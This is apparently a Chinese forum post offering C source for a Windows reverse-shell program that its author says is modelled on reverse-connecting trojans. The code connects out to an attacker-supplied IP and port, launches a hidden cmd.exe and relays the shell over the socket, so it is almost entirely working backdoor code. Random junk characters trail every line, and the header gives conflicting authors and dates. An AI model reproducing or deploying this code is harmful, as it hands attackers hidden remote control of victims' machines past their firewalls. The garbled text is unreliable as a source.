这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 4B=2>k
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/* ============================== "b?v?V0%C
Rebound port in Windows NT e }mD]O}
By wind,2006/7 K )[]fm
===============================*/ "ZHW2l Mf
#include _\=`6`b)
#include `(T,+T4C5k
v. %R}Pa
#pragma comment(lib,"wsock32.lib") Xf0M:\w=M
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void OutputShell(); Z1zVwHa_
SOCKET sClient; :iFIQpk
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; !
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void main(int argc,char **argv) %R1 tJ( /
{ L Y6;.d$J
WSADATA stWsaData; H&F9J^rC
int nRet; A01AlK_B
SOCKADDR_IN stSaiClient,stSaiServer; Ny_lrfh) [
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if(argc != 3) 8iW;y2qF
{ -r#X~2tPzD
printf("Useage:\n\rRebound DestIP DestPort\n"); whonDG4WP
return; rxr{/8%f%
} M@h|bN
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WSAStartup(MAKEWORD(2,2),&stWsaData); (E/lIou
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 17D"cP
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stSaiClient.sin_family = AF_INET; tcI}Ca>u
stSaiClient.sin_port = htons(0); x2@U.r"zo
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 0_k'.5l%
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) "dsU>3u
{ }
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printf("Bind Socket Failed!\n"); ZPc@Zr`z
return; Wf>zDW^"R
} lJ+0P2@h*
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stSaiServer.sin_family = AF_INET; XEC(P
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Av?2<
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); \2nUa
;
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) :]rJGgK#
{ 3VI4X
printf("Connect Error!"); lAzjN~V
return; |UP `B|
} @lCJ G!u
OutputShell(); aUxGzMZ
} Kh(ZU^{n
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void OutputShell() p>vn7;s2#
{ I96Ci2)m
char szBuff[1024]; mK[)mC
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SECURITY_ATTRIBUTES stSecurityAttributes; Qhs/E`k4
OSVERSIONINFO stOsversionInfo; 'D6T8B4
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ]V-W~r=
STARTUPINFO stStartupInfo; ^F2b
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char *szShell; 76V
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PROCESS_INFORMATION stProcessInformation; I<Ksi~*i
unsigned long lBytesRead; :gerQz4R8
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Z-8Yd6 4
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); UJ0<%^f
stSecurityAttributes.lpSecurityDescriptor = 0; Dw=gs{8D
stSecurityAttributes.bInheritHandle = TRUE; wUiys/OVM
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); uA,>a>xYI
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); +zrAG24q
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 5~Cakd]>
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I#m-g-J
stStartupInfo.wShowWindow = SW_HIDE; SF}<{x_
stStartupInfo.hStdInput = hReadPipe; U7doU' V/
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; i:rFQ8I
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GetVersionEx(&stOsversionInfo); 8~9030>Q
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switch(stOsversionInfo.dwPlatformId) <EPj$::
{ F6o_b4l
case 1: uHH/rMV
szShell = "command.com"; %7#-%{
break; CNQC^d\ h
default: TT50(_8
szShell = "cmd.exe"; *.~6S3}
break; cC o`~7rE
} +j(d| L\
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); p/JL9@:'
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send(sClient,szMsg,77,0);
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while(1) AS E91T~
{ >ELlnE8
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); }"|"Q7H
if(lBytesRead) e{X6i^%
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{
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); u5 {JQO
send(sClient,szBuff,lBytesRead,0); 89n:)|rWq
} 6(]tYcC
else h Ggx
{ 0dA7pY9
lBytesRead=recv(sClient,szBuff,1024,0); Pt@%4 :&-h
if(lBytesRead<=0) break; N=5)fe%{4
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); hty0Rb[dH
} V$"ujRp
} QCH}-q)
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return; :C}2=
}